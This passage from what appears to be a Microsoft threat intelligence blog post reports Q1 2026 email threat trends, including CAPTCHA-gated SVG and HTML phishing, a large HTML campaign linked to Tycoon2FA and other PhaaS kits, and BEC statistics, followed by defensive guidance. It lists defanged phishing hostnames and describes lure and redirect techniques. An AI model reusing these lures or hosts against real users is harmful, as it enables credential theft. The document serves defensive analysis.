If an attached SVG file was opened, the user’s browser would open locally and fetch content from one of the three following hostnames:

• bouleversement.niovapahrm[.]com
• haematogenesis.hvishay[.]com
• ubiquitarianism.drilto[.]com

Initially, the user would be shown a “security check” CAPTCHA. Once the CAPTCHA had been successfully completed, the user would then be shown a fake sign-in page used to compromise their account credentials.

Malicious payloads

Credential phishing tightened its grip on the malicious payload landscape across Q1, growing from 89% of all payload-based attacks in January to 95% in February before settling at 94% in March. These credential phishing payloads either linked users to phishing pages or locally loaded spoofed sign-in screens on a user’s device. Traditional malware delivery continued its long-term decline, representing just 5–6% of payloads by the end of the quarter.

The most striking payload trend was the volatility across file types, driven by large campaigns that created dramatic week-to-week swings:

• HTML attachments started Q1 as the leading file type (37% of payloads in January), fell to an annual low in February (-57%), then nearly tripled in March (+175%). This volatility was largely campaign-driven, with concentrated activity in the first half of January and the third week of March.
• Malicious PDFs followed a steady upward trajectory, increasing 38% in February and another 50% in March to reach their highest monthly volume in over a year. By March, PDFs accounted for 29% of payloads, up from 19% in January.
• ZIP/GZIP attachments were similarly volatile by nearly doubling in January (+94%), dropping 38% in February, then surging 79% in March. Threat actors commonly use ZIP files to circumvent Mark of the Web (MOTW) protections.
• SVG files emerged briefly in February as a notable delivery method (with a 50% volume increase) before declining 32% in March, mirroring the pattern seen in CAPTCHA-gated phishing.

Large-scale HTML phishing campaign hosts content on multiple PhaaS infrastructures

On March 17, 2026, Microsoft Threat Intelligence observed a massive phishing campaign that drove a significant surge in malicious HTML attachments during the month. The campaign involved more than 1.5 million confirmed malicious messages sent to over 179,000 organizations across 43 countries, accounting for approximately 7% of all malicious HTML attachments observed in March.

All messages in this campaign were likely sent using the same tool or service, which exhibited several distinct and highly consistent characteristics. Most notably, sender addresses across the campaign featured excessively long, keyword‑stuffed usernames that embedded URLs, tracking identifiers, and service references. These usernames were crafted to resemble legitimate transactional, billing, or document‑related notification senders. Examples of observed sender usernames include:

• eReceipt_Payment_Alert_Noreply-/m939k6d7.r.us-west-2.awstrack.me/L0/%2F%2Fspectrumbusiness.net%2Fbilling%2F/2/010101989f2c1f29-ab5789bd-1426-4800-ae7d-877ea7f61d24-000000/LHnBIXX0VmCLVoXwNWtt23hGCdc=439/us02web.zoom.nl/j/81163775943?pwd=bLoo4JaWavsiTAuLWNoRsmbmALwjLB.1-qq8m2tzd
• Center-=AAP1eU7NKykAABXNznVa8w___listenerId=AAP1eU7NKykAABXNznVa8w___aw_0_device.player_name=Chrome___aw_0_ivt.result=unknown___cbs=9901711___aw_0_azn.zposition=%5B%22undefined%22%5D___us_privacy=___aw_0_app.name=Second+Screen___externalClickUrl=otdk-takaki-h
• DocExchange_Noreply-m939k6d7.r.us_west_2.awstrack.me/L0/%2F%2Fspectrumbusiness.net%2Fbilling%2F/2/010101989f2c1f29ab5789bd14264800ae7d877ea7f61d24000000/LHnBIXX0VmCLVoXwNWtt23hGCdc=439/us02web.zoom.nl/j/81163775943?pwd=bLoo4JaWavsiTAuLWNoRsmbmALwjLB.1-angie

The emails themselves contained little to no message body content. While subject lines varied, they consistently impersonated routine business and workflow notifications, including payment and remittance alerts (for example, Automated Clearing House (ACH), Electronic Funds Transfer (EFT), wire), invoice or aging statements, and e‑signature or document delivery requests. These subjects relied on urgency, approval language, and transactional framing to prompt recipients to review, sign, or access an attached document.

Each message included an HTML attachment with a file name aligned to the email’s theme. When opened, the HTML file launched locally on the recipient’s device and immediately redirected the user to an initial external staging page. This page performed basic screening and then redirected the user to a secondary landing page hosting the phishing content. On the final landing page, users were presented with a CAPTCHA challenge before being directed to a fraudulent sign‑in page designed to harvest account credentials.

Interestingly, although messages in this campaign shared common tooling, structure, and delivery characteristics, the infrastructure hosting the final phishing payload was linked to multiple different PhaaS providers. Most observed phishing endpoints were associated with Tycoon2FA, while additional activity was linked to Kratos (formerly Sneaky2FA) and EvilTokens infrastructure.

Business email compromise

Microsoft defines business email compromise (BEC) as a text-based attack targeting enterprise users that impersonates a trusted entity for the purpose of persuading a recipient into initiating a fraudulent financial transaction or sending the threat actor sensitive documents. These attacks fluctuated across Q1, totaling approximately 10.7 million attacks: rising 24% in January, dipping 8% in February, then surging 26% in March.

The composition of BEC attacks remained consistent throughout Q1. Generic outreach messages (like “Are you at your desk?”) accounted for 82–84% of initial contact emails each month, while explicit requests for specific financial transactions or documents represented just 9–10%. This pattern underscores that BEC operators overwhelmingly favor establishing a conversational rapport before making fraudulent requests, rather than leading with direct financial asks.

Within the smaller subset of explicit financial requests, two sub-categories showed notable movement. Payroll update requests grew 15% in February, reaching their highest volume in eight months, potentially reflecting tax season-related social engineering. Gift card requests fell 37% in February to their lowest level since July before rebounding sharply in March (+108%), though they still represented less than 3% of overall BEC messages. These fluctuations suggest that BEC operators adjust their specific financial pretexts seasonally while maintaining a consistent overall approach.

Defending against email threats

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint

The following alert might indicate threat activity associated with this threat. The alert, however, can be triggered by unrelated threat activity.

• Suspicious activity likely indicative of a connection to an adversary-in-the-middle (AiTM) phishing site

Microsoft Defender for Office 365

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL
• Suspicious email sending patterns detected
• Email messages containing malicious URL removed after delivery
• Email messages removed after delivery
• Email reported by user as malware or phish

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following Threat Analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Activity Profile: Email threat landscape, March 2026
• Activity Profile: Email threat landscape, February 2026
• Activity Profile: Email threat landscape, January 2026
• Tool Profile: Tycoon2FA
• Actor Profile: Storm-1747
• Technique Profile: QR code phishing
• Technique Profile: ClickFix technique leverages clipboard to run malicious commands
• Threat Overview Profile: Business Email Compromise
• Threat Overview Profile: Adversary-in-the-middle credential phishing

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Email threat landscape: Q1 2026 trends and insights appeared first on Microsoft Security Blog.

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